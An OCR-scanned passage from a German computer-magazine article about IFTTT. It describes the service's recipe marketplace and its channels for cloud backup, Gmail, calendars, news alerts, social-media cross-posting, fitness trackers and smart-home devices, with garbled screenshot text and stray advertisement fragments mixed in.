einen längeren Zeitraum hinweg 
schiefläuft Dann  informiert es 
den Benutzer per Ma i l  über  d ie  
Abscha ltung. 

Rezepte-Ma rktplatz 

Legt der Benutzer ein neues Re­
zept an, so steht es zunächst nur  
fü r ihn  sel bst zur Verfügung, ist 

also als "privat" gekennzeichnet. 
Wer meint, dass es anderen 
IFTTT-Nutzern gute Dienste 
leisten könnte, g ibt es fü r die Al l­
gemeinheit frei . Dabei g ibt I FTTT 
nur  das Rezept-Gerüst weiter, 
a lso zum Beispiel "Screenshots 
bei Dropbox speichern", aber 
keine persön l ichen Zugangs­
daten. 

Das ist die Grund lage eines 
weiteren g roßen Vorte i l s  von 
IFTTT: Man muss nicht jedes Rad 
neu erfinden, sondern kann  auf 
e inen Fundus  Zigtausender Re­
zepte zurückg reifen .  I FTTT er­
sch l ießt die fre igegebenen Re­
zepte sehr übers icht l ich nach 
Channe ls, Be l iebtheit und  ste l l t  
auch Sammlungen fü r versch ie­
dene Anwendungszwecke be­
reit. E inen Überbl ick über d ie  
Channe l s  und  e ine Auswah l  
nützl icher Rezepte präsentiert 
der Artikel a uf Seite 1 34. 

Bei I FTTT ist viel im F l u ss, 
immer mal wieder kommen 
neue Channe ls  h i nzu, und 
manchma l  verschwinden Chan­
nels wieder. Auch kündigt I FTTT 
Premium-Accounts mit zusätzl i-

� Triggers 
New tweet by you 
TI :5 T •gge r fi r e J  e er; �me yo1.1 po!::: a new 

Trigger fields 
lnc �o�de 

New tweet by you with hashta.g 
Th Tngg ... r firtB e 'I tHn� o.., pos.t a •ew 

e h a fM'Cif, a., ht '1 
T riggor fields 
H;nhag 

New tweet by you in area 
n ...,. gE"r fE'! 11' tJ m� {"1.1 pos• . tv.·eet oit 
;!II localJ or> o pea' 
Trigger fields 
locatll" an are!l 

New mcmtion of you 
Th Tngget IirE"' e' er) 1me ou a !"E'  
@mer.'rioned n a twee! 

New li n k  by you 
TlH! Tr1gger fire� for every l1nk  yau twee:._ f 

our r.. ee� as muitlple linb rt w • l f re muttiefe 

chen Funkt ionen an .  Wer auf 
dem Laufenden b le i ben wi l l ,  
kann  d ie Neuerungen im I FTTT­
B iog verfo lgen - oder s ie s ich 
über das entsprechende Rezept 
per E-Ma i l  zusenden lassen. 

I FTTT ist mit seiner Idee sehr 
früh  gesta rtet und daher schne l l  
zum bekanntesten Dienst seiner 
Art avanciert. Es g ibt aber Alter­
nativen, die e in ige Dinge anders 
machen. So kann  I FTTT zum Bei­
spiel von jedem verknüpften 
Dienst nu r  einen Account  spei­
chern .  Das kann  läst ig werden, 
wenn man zum Beispiel mehrere 
Twitter-Accounts befü l len wi l l .  

M i t  mehreren Accou nts 
kommt zum Beispiel Zapier kla r. 
Der Automatis ierer ist auch 
e inen B l i ck  wert, wenn der Web­
d ienst der Wah l  nicht von I FTTT 
u nterstützt wird .  A l le rd ings ist 
Zapier nur i n  einer sehr e inge­
schränkten Basisvers ion kosten­
los .  Der Artikel ab  Seite 1 40 
ste l l t  Zapier und eine Reihe wei­
terer Alternativen zu I FTTT näher 
vor. (jo@ct.de) 

c't: I FTTT-Homepage: ct.de/y9fx 

� Actions 
Post e tweet 
"1!t!I Act10'1 . pon a new nYee: w yo ... rTwrr.e� 
accou c lOTE Plea!e adherto c Twmer'1 
Rule1 and T �rml ol s�rv Cl!-

Action fiitlds 

Whafl h a ppenmg? 

Post a tweet with image 
.. ru� Ätt�on po t e ne .... twli tii!t to your T•"ll'ltter 
accour-1 td l tt'll  .-d p c :.·ntter com t m a g "'  
NOTE- Plene adhe� to Tw�r.:e�" ! R'ules and 
T e nn !  of Service 
Adion fialds 

Wha::.'1 hap�n11 19., 
l m il g e  URL 

Send a direct message to yourself 
This. Actiol'l ae.nd a d i rea rnl!g,uge to fOur 
- ltt�' iiC u rn  '-'TE Pl'!'iiSe adloii>re c 
Twm.er s Ru I!-! and Te rms of 'ie.-....ce 
Actio n fiolds 

Updote profile picture 
Thts /-< �ton upd•� your proitlv fHCture fro1'1"' 
tht!' .., a g e  UIR ou 1pecrfy a� optlonally tweet 

i!l b O Ul i! NOTE: P e a s e- adhe:re to T wrner !I Ru es 
a nd Temu of Seryice 
Adion fieJds 

Photo URL 
Add il tw-t 

Updat9 bio 
Thtl Actton updilte yo ur b10 .;a,nd op'tlon•lly 
t>. eiE't oiibout NOTE P l e -'1 511" ildhere !o 
T�rtter ! Rule! and Term.ll of 'iervrce 

Arlion fields 

" ' "  
Twee1 abo�o�t yo�o�f' u p da:ed bro 

Eine Auswah l  der 1 0  Trigger und 6 Aktionen des 
Twitter-Channels .  ln der Regel ste l len die Channels 
weniger I nteraktionsmög l ichkeiten bereit. 
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W ie vie lseit ig I FTTT i st, e r­
sch l ießt sich erst demjeni­

gen, der in  der Bed ienoberfläche 
auf . .  Browse Recipes" kl ickt. Auch 
wenn der Anbieter thematische 
Pakete schnü rt und besonders 
nütz l iche Rezepte hervorhebt, 
verl iert man dort schne l l  den 
Überbl ick. Wi r ste l len hier daher 
e in  paa r  Dutzend Rezepte vor, 
d ie  wir besonders praktisch fi n-
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den und d ie die Bandbreite von 
I FTTT aufzeigen. 

Zugegeben: Für viele der Auf­
gaben, d ie man mit I FTTT er ledi­
gen kann, g ibt es andere Helfer­
le in .  So hat das Handy natür l ich 
auch e inen eigenen Wecker, so 
g ibt es fü r viele Smart-Horne-Ge­
räte e igene Apps, d ie  Geo­
fencing beherrschen. Was I FTTT 
aber so sexy macht, ist, dass es 

viele versch iedene Dienste über 
e inen sehr e infachen Mechn is­
mus mitei nander verbindet. Auf 
d iese Weise lassen sich in  Minu­
ten unerwartete Brücken bauen.  

Backu p-H u b  

Mit Box, Dropbox, Google 
Drive und OneDrive stehen 
g leich vier g roße C loud-Spei-

cherdienste als Channel bereit, 
in denen I FTTT Dateien automa­
tisch speichern kann .  Daher eig­
net s ich der Dienst als Backup­
Steuerzentra le  fü r S icherungs­
vorgänge al ler Art. Entsprechend 
viele besonders popu lä re Rezep­
te d rehen sich um das Thema 
Backup. So kann  man IFTTT zum 
Beispie l  jedes neue Foto, das 
man mit sei nem Android- oder 
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iOS-Gerät macht, in e inem der 
Cloud-Dienste sichern lassen. 

Auch bei Twitter, Facebaak 
oder e inem Blog bei Ward Press 
oder Tumblr: Wer B i lder  oder 
Texte ins  Netz ste l l t, sol lte e in 
Backup davon haben - man weiß 
n ie, ob ein Admin über e in Kabel 
sto l pert oder e in Kundendienst­
mita rbeiter e inen AGB-Verstoß 
zu erkennen g l aubt und ohne 
Vorwarnung das Profi l  löscht. 
Mac&i-Ko l lege lmmo Junghärt­
chen zum Beispie l  s ichert a l l es, 
was er auf den versch iedensten 
Socia i-Media-Kanä len veröffent­
l icht, in Goog le Drive. 

Es lässt sich sogar ein Backup 
von e inem der  C loud-Speicher­
d ienste zu e inem anderen e in­
richten. So kann  man I FTTT zum 
Beispiel anweisen, jede Datei, d ie 
man i n  einem bestimmten Ord­
ner bei Dropbox ab legt, auch auf 
Goog le  Dr ive zu speichern -
oder bei Box oder OneDrive. l n  
d i e  Gegenrichtung funkt ioniert 
das Backup a l lerdings nicht: Box 
ste l l t  ebenso wenig wie Goog le 
Drive und OneDrive Trigger be­
reit, kommt a l so nur als Ziel einer 
Speicheraktion in  Frage. 

Bü roassistent 

E ine sehr  nützl iche Funktion der  
Box-, Dropbox- und Google­
Drive-Channels ist "Create a text 
fi le". Damit kann  man zum Bei­
spiel al le oder bestimmte Gmai i­
Mai ls a ls  Textdateien auf der On­
l ine-Festplatte sichern. l n  einem 
früheren Artikel haben wir außer­
dem gezeigt, wie man diese Funk­
tion nutzt, um personal isierte und 
regelmäßig aktua l i sierte E-Ma i l ­
Signaturen zu generieren [ 1 ] .  

Box, Dropbox und Goog le 
Drive können auch per  "Append 
to a text fi le" einen vom Trigger­
Kana l  übernommenen Text an  
e i ne  vorhandene Textdatei a n ­
hängen. Das macht s i e  z u  einem 
un iverse l l en Log-Med ium .  Wer 
den SMS-Kana l  auf dem An­
d roid-Smartphone zum Trigger 
macht, kann  auf d iese Weise 
zum Beispiel e in Archiv der ver­
sendeten SMS an legen. 

Noch komfortab ler funktio­
n iert das Loggen mit "Add row 
to spreadsheet" im  Goog le­
Drive-Kana l .  Damit legt man eine 
neue Zei le i n  e iner Tabe l le  an .  
Das  bel iebteste Rezept "Backup 
my contacts to a Goog le Spre­
adsheet", mit dem iOS-Nutzer 
ih re Kontakte in  einer Tabel le  bei 
Goog le Drive speichern, nutzt 
d iese Funktion. 
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Außer seinem Speicherdienst 
hat Goog le  auch seinen Mai i ­
D ienst und  se inen Ka lender fü r 
I FTTT geöffnet - a l s  einziger An­
bieter. Der Gmai i-Channe l  er­
mögl icht es, a uf neu eintreffen­
de Nachrichten oder neue Mai i ­
Markierungen des Anwenders zu 
reag ieren. So kann  man zum Bei­
spiel a l l e  Attachments von Nach­
richten, die der Nutzer als wich­
tig markiert, in  der Dropbox spei­
chern lassen. Auf der Aktionssei­
te versendet der Gmai i -Kana l  
Nachrichten. 

Es g ibt zwar außerdem einen 
Emai i-Channel .  Dieser öffnet 
aber n icht den Posteingang 
eines be l ieb igen E-Ma i i -Provi­
ders. Er d ient vie lmehr  dazu, 
I FTTT eine Nach richt zu senden, 
um e inen Trigger auszu lösen, 
oder den Dienst eine Mai I an  den 
Benutzer a ls Reaktion auf einen 
Trigger versenden zu lassen. 
GMX oder Web.de lassen s ich 
a l so nicht wie Gmai l  e inb inden.  
Wer über neue Nach richten auf 
e inem anderen Kana l  a l s  Gmai l  
i nformiert werden wi l l ,  kann  a l ­
lenfa l l s  über e in Red i rect seiner 
Nachrichten zum Goog le-Dienst 
nachdenken .  Berufl ich sol l te 
man das jedoch nicht unbedingt 
nutzen, wei l das i n  praktisch 
jeder Firma e in Verstoß gegen 
Sicherheits- und Datenschutz­
Richtl in ien wä re. 

To-de-Wächter 

Der Goog le-Ca lendar-Channe l  
bietet nu r  d ie d rei Trigger "Any 
event sta rts", "Event from search 
sta rts" und "Any new event 
added". Mit  d iesen Bausteinen 
kann  man le ider keine Regel 
bauen, d ie  den Benutzer auf 
a l len verfügba ren Kanä len recht­
zeitig informiert, bevor ein Ter­
min stattfindet. Als Aktion bietet 
er nur  "Quick add event". 

Googles Ka lender lässt s ich 
mit den Ta-da-Diensten Todoist 
und Toodledo verknüpfen :  
Punkte auf der  Zu-tun-Liste be i  
e inem der Dienste lassen s ich i n  
Googles Ka lender übernehmen 
oder umgekehrt. Man sol l te nur 
n icht beide Richtungen g le ich­
zeit ig a ktivieren, wei l d ie beiden 
Dienste s ich dann gegenseit ig 
zumül len .  Todoist und Tood ledo 
s ind h ierzu lande zwa r weniger 
popu lä r  a l s  beispielsweise Wun­
der l i st, doch d ie I ntegration in 
IFTTT ist e in gutes Argument fü rs 
Ausprobieren. 

Der kostenpfl icht ige Dienst 
Fol lowU p erzeugt aus Mai ls Auf-
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then ' (!.) 0 
Da I FTTT gut 

·- , sozial gut ver-
netzt ist, eignet 
es sich, um 
Postings aus den 

then ' 0 verschiedensten (!.) ·- , Kanälen zu 
sichern. 

l then ' (!.) 0 ·- , 

then ' (!.) 0 ·- , 

gaben und Wiedervor lagen.  
Auch h ier  kann  d ie I nteg ration 
mit anderen I FTTT-Diensten zu­
sätz l ichen Nutzen h inzufügen -
beispie lsweise können du rch 
e inen Stern ma rkierte Gmai i ­
Nachrichten e inen Fo l lowUp­
Reminder  tr iggern oder e ine 
To-doist-Aufgabe i n  e inem be­
stimmten Verze ichn is  löst e ine 
Termin-Mai !  zu einem festgeleg­
ten Zeitpunkt aus .  

Spaßvogel  

N icht a l l e  I FTTT-Kanä le haben 
e inen bierernsten H i ntergrund .  
So g ibt es e inen e igenen Kana l  
fü r den Gaga-Messenger Ya.  Mit 
dem Surfl ine-Channe l  können 
s ich Wassersport ler informieren 
lassen, wenn an  ih rem Lieb l ings-

Drilbergestolpert. 
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spot in den nächsten Tagen mal 
wieder e ine ordent l iche Wel l e  
ansteht. Auch  d ie an imierten 
Gifs bei Giphy dienen woh l  eher 
der Zerstreuung.  

Fü r  Weltra um-Fans bietet 
I FTTT ein ige spannende Rezepte, 
die auf dem NASA-Channel auf­
bauen. So können sie sich immer 
dann a l a rmieren lassen, wenn 
d ie internationa le Raumfähre ISS 
über i h ren Köpfen vorbeizieht. 
Die NASA publ iziert auch ein täg­
l iches Astronomiefoto, das man 
per I FTTT-Regel a ls  Android-Wal l ­
paper setzen lassen kann .  

Ü bera i i-Aiarm ierer 

Wer zu einem Thema immer auf 
dem Laufenden bleiben wi l l ,  be­
nutzt nicht selten einen RSS-Rea-

[),u •O$d)JI'Kick&mA �t<SCWI! .i4tlrid\ R.ll'digwttl c* Mf.dtMMir: AtbN • l-L ftuilttOildttn. llm /Mplli!Qii62Ndli 

!wett bnu•ry 19 2015 !1 12:22PM 
MC'I11Ug. I.J � 2QU �  

- Hefbtrl lnl.ln IG ... oi1W1tQ '*"WY 12 2215 
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WardPress kann  Twitter-Streams d i rekt übernehmen. Bei anderen 
Blags ist ein Umweg über Tumblr  und RSS nötig. 
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+ I 

Die Apps für Android und iOS ersch l ießen das Mobi lgerät nicht 
nur a ls  Sensor, sondern ermöglichen es auch, die Rezepte zu 
verwa lten, und zeigen ein Log der Rezepte-Ausführung.  

der .  Aber n icht a l l e  Quel len s ind 
g leich wichtig. Während man die 
News aus  den meisten Que l len 
ei nfach so du rch la ufen lassen 
kann, g ibt es e in ige, bei denen 
man auf jeden Fal l  mitkr iegen 
wi l l ,  wenn sich etwas tut . 

I FTTT ste l l t  fü r d ie  verschie­
densten Nach richten-bezoge­
nen Dienste Trigger bereit, d ie  
s ich fü r e inen solchen A la rm nut­
zen lassen. Wer etwa Feedly a l s  
RSS-Agg regator e insetzt, kann  
sich i nformieren lassen, wenn in  
e iner best immten, frei wäh lba­
ren Kategor ie e in  neuer News­
Beitrag erscheint. redd it kann  
ebenfa l l s  a l s  Trigger fungieren, 
und zwar zum Beispiel immer, 
wenn i n  e inem su bredd i t  e in 
neuer Beitrag oder e in neuer 
"hot post" erscheint. 

Benutzt man einen anderen 
oder keinen RSS-Reader, kann  
man e inen  Trigger des  Feed­
Channe ls  nutzen, zum Beispie l  
"New feed item" oder "New feed 
item matches". Bei letzterem 

Kleinster 
Intel Core 15 Mini-PC 

lä sst s ich sogar  e in Sch lü ssel­
begriff oder e ine Meh r-Wort­
Phrase vorgeben, d ie  enthalten 
sein muss, damit der Tr igger aus­
gelöst wird. So kann  I FTTT zum 
Beispie l  im  RSS-Feed von He ise 
on l ine gezielt nu r  auf d iejenigen 
Beiträge abrichten, d ie  den Be­
g riff "NSA" entha lten.  Operato­
ren, wie s ie etwa i n  regu l ä ren 
Ausdrücken vorkommen, bietet 
I FTTT dagegen nicht; es ver­
g leicht das angegebene Wort 
beziehungsweise die Phrase 1 :1 
mit den Posti ng im RSS-Feed . 

Fü r  e in paa r  Nach richtenquel­
len benötigt man gar  keinen 
RSS-Feed, wei i i FTTT d iese d i rekt 
unterstützt. Dazu zäh len Time, 
die New York Times, Entertain­
ment Weekly, People.com, ln­
Style, BuzzFeed und ESPN. Bei 
der New York Times etwa kann  
e i n  neuer Art ikel oder e i n  neuer 
popu lä rer Arti kel in  einer Rubr ik 
I FTTT e in Rezept tr iggern. Prak­
tisch fü r Leser, d ie  n ichts zu 
einem bestimmten Thema ver-

Androld M lni-PC 
robust & ausfallsicher 

passen wol len :  Auch "New a rticle 
from sea rch" lässt sich als Trigger 
nutzen. Software-Entwickler kö­
nnen s ich über den Git H u b­
Channel  über neue issues i nfor­
mieren lassen, d ie zu ih ren Repo­
sitories e ingereicht werden, 
sowie über neue Repositories 
von bestimmten Nutzern. 

Für Börsenku rse betreibt 
I FTTT einen e igenen Channe l :  
stocks. Trigger s ind h ier  zum 
Beispie l  "Price rises above" und 
"Price d rops below". Der  Kana l  
befindet s ich nach Angaben von 
I FTTT im Beta-Stad ium; es so l len 
zu den derzeit sechs Tr iggern 
noch weitere dazukommen. Die 
Daten fü r den stocks-Channe l  
l i efert das US-amer ikan i sche 
Yahoo!F inance. Sie entsprechen 
den Kursen von US-Börsen wie 
Nasdaq und NYSE. 

Hat man e inen News-Trigger 
e ingerichtet, kann  man s ich - je­
wei l s  mit eigenen Rezepten - auf 
a l len Kanälen informieren lassen, 
a uf denen man erreicht werden 
wi l l :  Zum Beispiel E-Ma i l  (über 
den Gmai l - oder den E-Ma i l ­
Kanal ) ,  e ine And roid- oder iOS­
Benachrichtigung oder SMS. 

Der SMS-Kana l  unterstützt 
nach Angaben von I FTTT nicht 
a l le Mobi l funkbetre iber a ußer­
ha lb  der USA. Mit E-P ius  (Simyo) 
und  T-Mobi le  hatten wir keine 
Probleme. Der  Phone-Ca i i-Chan­
nel , über den man sich sogar an­
rufen lassen könnte, ruft grund­
sätzl ich nu r  US-Nummern an .  Für 
ganz wichtige E-Ma i l s  kann man 
sich auch e ine Alarm lampe ein­
richten, etwa mit den fernsteuer­
baren Leuchten von Ph i l ips Hue: 
L iegt eine neue Mai l vom Chef 
im  Poste ingang, geht das rote 
Licht an .  

Auch d iverse Messenger und 
Socia l l ntranets stehen a l s  Ala rm-

Lütterloser 
Quad-Core Mln i-PC 

Kanal bereit, im einzelnen hierzu­
lande weniger bekannte Anbieter 
wie Campfire, Grou pMe, Kato, 
Salesforce Chatter, aber auch 
Facebook Groups und Yammer 
sowie das derzeit einen mittel­
schweren Hype erfahrende Slack. 
Allerdings fehlen Schwergewich­
te wie WhatsApp und Skype. 

Manchmal  hat man nicht d ie 
Zeit, I nformationen sofort zu 
konsumieren. Dafü r wurden Link­
Ku ratierer wie Pocket, Reading­
Pack und I nstapaper erfunden.  
S ie  ermögl ichen es ,  L i nks zu 
sammeln  und mit anderen zu 
tei len .  I nstapaper kann  die ver­
l i nkten Inha lte auch zum Offl i ne­
Lesen fü r die verschiedensten 
Medien aufbereiten .  

Mit  seinem E-Mail-Digest­
Kana l  bietet I FTTT einen eigenen 
ei nfachen l nha ltesammler .  Da­
mit kann  der Benutzer zum Bei­
spiel a l l e  Sch lagze i len aus be­
l iebten Feed ly- und Time-Arti­
ke l n  sammeln  lassen und s ich 
einmal täg l ich oder einmal pro 
Woche eine Zusammenfasung 
zuma i len lassen. 

Kreuz- und Quer-Poster 

Galt vor e in igen Jahren d ie eige­
ne Website als Zentrum der per­
sön l ichen I nternet-Aktivitäten, 
so finden die Diskussionen heute 
überwiegend in den d iversen so­
zia len Medien statt. I FTTT kann  
dabei he lfen, I n ha l te breit zu  
streuen - se i  e s  über das  eigene 
B log, über Twitter, über  Face­
bock und viele andere Kanäle .  

Wer WordPress oder e in  ge­
hastetes B log von B logger.com 
verwendet, kann  seine Posts in 
externen Diensten sehr ei nfach 
wieder einfangen: E in Tweet, e in 
F l ickr-Foto, e in neuer Sound­
C ioud-Track oder e in YouTube-

Slot-ln-PC für N EC, 
Samsung, Phi l ips, etc. 

Fragen S ie noch unseren attraktiven Höndlerpreisen so les@concept biz. 
t= O N t=tr j:J T  
I N H A N A T I O N A L  G oll ! H  



... 
... 

0 . "''� 

. -

Mit Smart-Horne-Hardware schlägt I FTTT eine Brücke zwischen virtuel ler und wi rkl icher Weit. 

Favorit werden mit einem s imp­
len 1 FTTI-Rezept auch zu neuen 
Blogposts. Umgekehrt kann man 
auch d ie Socia i-Med ia-Freunde 
automatisch über jeden neuen 
Blageintrag informieren. 

Bei anderen Content-Manage­
ment-Systemen geht es nicht so 
einfach. Viele können aus  News­
feeds im RSS- oder Atom-Format 
Blogposts erzeugen, aber le ider 
spielt I FTTI da nicht mit - es l iest 
Newsfeeds zwar e in, erzeugt je­
doch keine. Wer also nicht gera­
de WardPress verwendet und 
trotzdem se ine Tweets oder  I ns­
tag ram-Fatos auf der e igenen 
Website haben möchte, muss 
sich etwas einfa l len lassen. 

Eine Lösung wä re, auf e inen 
1 FTTl-Konku rrenten wie Za pier 
au szuweichen (s iehe den fo l ­
genden Artikel) - doch ist das 
n icht unbed ingt notwend ig, 
n immt man einen kl e inen 
U mweg in  Kauf: Tumblr  bei­
sp ie lsweise bietet eine kosten­
lose, s imp le  B lag-P lattform, die 
per Newsfeed zugäng l i ch ist. 

And roid Displays 
für D ig ita l S ignage 

I FTTT weist den Tumb l r-Posts 
eine Kategorie zu, die im Feed 
erha lten ble ibt, was den Import 
ins  CMS er le ichtert. 

Der Tweet ist sowoh l  als for­
matierter Embed-Code a l s  auch 
im Rohtext zugäng l ich .  Leider 
lässt sich das angezeigte Datum 
(CreatedAt) anscheinend nicht loka­
l i sieren. Ähn l ich wie Tweets ver­
a rbeitet I FTTI beispie lsweise 
auch Facebook-Posts, Beiträge 
zu einer Facebook-Seite oder 
Updates im L inked l n-Profi l .  

N icht  a l l e  sozia len Netzwerke 
s ind so promisk wie Facebook, 
Twitter und Linked l n .  Das aus  
Deutsch land stammende Xing 
spie l t  fü r das ka l ifornisehe IFTTI 
offenbar keine Rol le, und Goo­
g le+ hat sich schon immer gegen 
den Zugriff von Drittanbieter­
d iensten gewehrt. Der Bock­
mark- und Bi lderdienst Pinterest 
veröffentl icht die Streams seiner 
Nutzer immerh in  auch per RSS. 
Damit l ießen s ich d ie P interest­
B i lder speichern oder anderswo 
posten .  

5.5n - 1 0 '' Android 
Ind ustr ie Tablets 

I nteressant ist d iese Option 
nicht zuletzt fü r Bi lder, die Sie mit 
dem Smartphone schießen -
Neuzugänge in Ih rem lnstagram­
oder F l ickr-Account  fi nden so 
ohne jedes Zutun den Weg auf 
ihren Rechner. Auch ein bei Face­
bock veröffent l i chtes e igenes 
Foto lässt s ich herausfischen, 
denn fü r Facebock kennt I FTTI 
zehn  versch iedene Trigger, da­
runter "New photo post by you", 
wah lweise auch nur  mit einem 
bestimmten Hashtag oder im 
Umkreis eines festgelegten Ortes. 

Ku ratiergehi lfe 

Statt in C loud-Speicherd iensten 
kann  I FTTI Socia i -Med ia-Pos­
tings i n  Evernote als Notizen 
speichern, wo sie ebenfa l l s  über 
versch iedene Geräte ink lusive 
der loka len Festplatte synchroni­
s iert werden ( letzteres nur fü r 
Bezah l kunden) .  E in  komp lettes 
Backup scheint h ier  weniger 
s innvol l  a l s  Kopien ausgewäh lter 
Beiträge.  Das lässt sich mit 

1 3" Android Kiosk 
Terminal  
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einem Hashtag erreichen, der a l s  
E ingangsfi lter d ient, etwa #thema 
oder #ever. 

Wer heute über interessante 
Websites sto lpert, macht sich oft 
nicht mehr d ie Mühe, fü r sie e in 
Lesezeichen anzu legen, sondern 
wi rd sie eher den Freunden und 
Fe l lowern mittei len .  I FTTT kann  
solche L inks e insammeln und a r­
chivieren - etwa bei den Socia i ­
Bookmark-Diensten Delicious 
und Pin board. Auch per Twitter 
veröffentl ichte L inks kann  I FTTI 
weiterreichen, wobei auch an­
gehängte B i lder  be i  Twitter a l s  
L inks gelten. 

Der Ku ratierungsdienst Stori­
fy eignet sich sowoh l  als Quel le 
a l s  auch Zie l von 1 FTTI-Ak­
t ionen [2] . Newsfeed-Einträge, 
WordPress-Posts, l nstagram-Bi l ­
der oder neue Socia l Bockmarks 
werden im "Storypad" fü r d ie  
nächste Mu lt imedia-Geschichte 
vorgemerkt - und nach der Ver­
öffent l ichung kopiert man s ich 
das Storify i n  e ine Evernote­
Notiz und bewirbt es mit Twitter, 
Facebock oder Tumbl r. 

E ine Schwäche von I FTTI ist, 
dass auf jeden Trigger nu r  e ine 
Aktion folgt. Wer beispielsweise 
seine Community auf a l len Kanä­
len damit behe l l igen wi l l ,  dass er 
a uf GitH u b  ein neues Projekt 
gestartet hat, kann a l s  Ausgabe­
medium Butter h inter legen. Die­
ses reicht die I nha lte wiederum 
nach e inem zuvor festge legten 
Zeitp lan an  Facebook, Twitter, 
L inked ln, App.net und Google+­
Seiten weiter; Letztere lassen sich 
mit I FTTI nicht direkt ansprechen. 

Beweg u ngsmelder 

Es g ibt e ine Reihe mobi le r  Sen­
soren fü r I FTTI. Al len voran s ind 
das Smartphones mit Android 
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und iOS. Mit i Phones kann I FTTT 
zum Beispiel über den Kana l  iOS 
Location abhängig vom Ort Re­
zepte triggern .  Damit l ässt sich 
grundsätz l ich zum Beispie l  das 
Android-Smartphone stumm 
scha lten, wenn man zur  Arbeit 
kommt, oder ein Log der Arbeits­
zeiten füh ren. 

l n  e inem früheren Artikel 
haben wir eine ganze Reihe von 
Mobi l -Rezepten fü r And roid­
Smartphones vorgeste l l t. Da­
mals wie heute erwies s ich der 
Kana l  Android Locat ion als zu 
unzuver läss ig - ebenso wie die 
Wifi-Trigger von "And roid De­
vice" [3]. 

Wer viel Sport treibt, misst 
seine Tra in ingswerte vie l l eicht 
mit e inem Fitnesstracker. Wäh­
rend man über die Apps vie ler 
gängiger Tracker bereits i n  be­
stimmten Socia i -Media-Kanä le  
mit sei nen Erfo lgen prah len 
kann, steht e inem via I FTTT d ie 
gesamte Bandbreite der unter­
stützten Dienste und Gerätschaf­
ten offen .  So kann man zum Bei­
spiel jeden Tag die mit dem Fit­
bit-Armband ermitte lten zurück­
ge legten Sch ritte in e inem 
Goog le-Spreadsheet festha lten.  
Neben Fitbit unterstützt I FTTT 
auch d ie Aktivitätstracker von 
Misfit Shine, Nike+, das U P  von 
Jawbone sowie Whistle - einen 
Tracker fü r den Hund .  

Hausmeister 

Der Smart-Horne-Markt zeichnet 
sich momentan vor al lem du rch 
feh lende Standards und I nkom­
patib i l ität e inze lner  Produkt in­
se ln aus .  Dank I FTTT lassen s ich 
d ie smarten I nse l lösungen im 
Haus  zum s innvo l l en  Zusam­
menspie l  bewegen, aber auch 
Brücken zwischen Web und 
Smart Horne sch lagen. 

Per I FTTT lassen sich zwa r 
längst n icht a l l e  am Ma rkt be­
fi nd l i chen Smart-Horne-Lösun­
gen steuern, dennoch hat der 
Dienst i n  a l len relevanten Fe l ­
dern zumindest e inen Fuß  in  der 
Tür: Mit Netatmo wird eine be­
l iebte Wetterstation unterstützt, 
Belkins Werno-Komponenten er­
l auben das Schalten von bel iebi­
gen Verbrauchern dahe im, Ho­
neywe l l s  Evohome l i efert e ine 
fernsteuerbare Heizungssteue­
rung, Nest mit seinem Protect 
e inen vernetzten Rauchmelder 
und Phi l ips H ue ein vernetztes 
Lichtsystem. 
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steuert per Funk vernetzte Heiz­
körperthermostate im ganzen 
Haus .  Dabei kann  der Benutzer 
im System Aktionen hinter legen. 
E ine solche Aktion kann  etwa 
das Herunterfah ren a l ler Heiz­
körper im Haus sein .  Sie lässt sich 
über d ie Scha ltzentra le daheim, 
per App oder per API a ktivieren 
- a l so auch per I FTTT. So kann  
man zum Beispiel m i t  dem Wea­
ther-Kana l  a l s  Trigger eine Regel 
erste l len, die bei einem Anstieg 
der Außentemperatur  auf 1 8  
Grad Cels ius a l l e  Heizkörper au­
tomatisch herunterfäh rt. 

Genauso einfach lässt s ich 
über den SMS-Dienst von I FTTT 
e ine Fernaktivierung per SMS 
e in r ichten .  Soba ld e ine Ku rz­
nach richt mit e inem zuvor defi­
n ierten Hashtag auf der I FTTT­
Nummer aufläuft, wird d ie Hei­
zung hochgefahren. Smartphone­
Nutzern bietet I FTTT weitere 
Mögl ichkeiten der Heizungs­
steuerung: Per Geofencing kann  
man d ie Wohnung anheizen, so­
ba ld man sich dem Heim etwa in  
e inem defin ie rten Umkreis von 
1 0  Ki lometern nähert. 

Wer in Sachen Temperatu r 
und Wetterdaten exaktere Trig­
ger-Bed ingungen sucht, kann  
statt des  I nternet-Wetters auch  
auf d ie Sensoren einer Netatmo­
Stat ion zugreifen, um Aktionen 
auszu lösen. Das Netatmo-Set 
besteht aus einem I nnen- und 
e inem Außensensor. Letzterer 
bietet nur I nformationen zu 
Temperatur, Luftd ruck und -
feuchtigkeit. Das I nnenmodu l  ist 
noch mit einem COT und einem 
Geräuschsensor ausgestattet. 

Neben präzisen loka len Tem­
peratu rwerten l iefert Netatmo 
mit der Basisstation einen zuver­
läss igen Anwesenheits-Trigger :  
Der Geräuschsensor lässt s ich 
etwa abfragen, um d ie Heizung 
automatisch hochzud rehen.  Er 
kann  dabei sogar g rob verschie­
dene Nutzungsarten unterschei­
den: Ob sich die Eitern unterhal­
ten oder eine wi lde Horde Kinder 
tobt, schlägt s ich du rchaus in 
Dezi bel messba r an  der  Stat ion 
n ieder und kann  so auch ver­
schiedene Lichtszenar ien aus­
lösen. 

E in I nnen- und ein Außensen­
sor, wie es Netatmo vorsieht, 
können fü r einze lne Pflanzen viel 
zu g robe Werte l i efern .  Pa rrot 
F lower Power kümmert s ich 
daher um eine einze lne pflanze: 
Der smarte Sensor registr iert, 
wenn es fü r sie zu warm oder zu 
ka lt, zu he l l  oder zu dunkel wi rd 

"Gieß mal wieder!": Der Sensor von Parrot F lower Power 
signal isiert, wenn die Pflanze mal wieder Wasser braucht. 

oder wenn  s ie mal wieder ge­
gossen werden muss und sendet 
einen Alarm - auch per IFTTT. 

Schalterverwa lter 

Belkins  Werno-System scha l tet 
über I FTTT bel iebige Verbrau­
cher  dahe im .  Mit dem Switch l ie­
fert Belkin einen einfachen Zwi­
schenstecker, der per WLAN mit 
dem He imnetz verbunden ist .  
Der Wemo Maker ist noch flexib­
ler  e insetzba r: Das kl e ine Kist­
chen ist mit e inem Rela i s- und 
Sensoransch l uss a usgestattet. 
Über die Rela is-Leitung lassen 
sich Geräte per Steuer le itung 
schalten. Die Sensor le itung 
n immt ein Scha ltsigna l  von Digi­
ta l sensoren entgegen - etwa die 
e ines Tü rsch l ieß- oder Wasser­
sensors. Der Wemo Motion run­
det das Paket ab :  Der kle ine Be­
wegungssensor ist ebenfa l l s  per 
WLAN mit dem He imnetz ver­
bunden. 

Den Wemo Motion kann  man 
bei I FTTT a l s  Trigger e insetzen .  
So lässt s i ch  etwa e ine Benach­
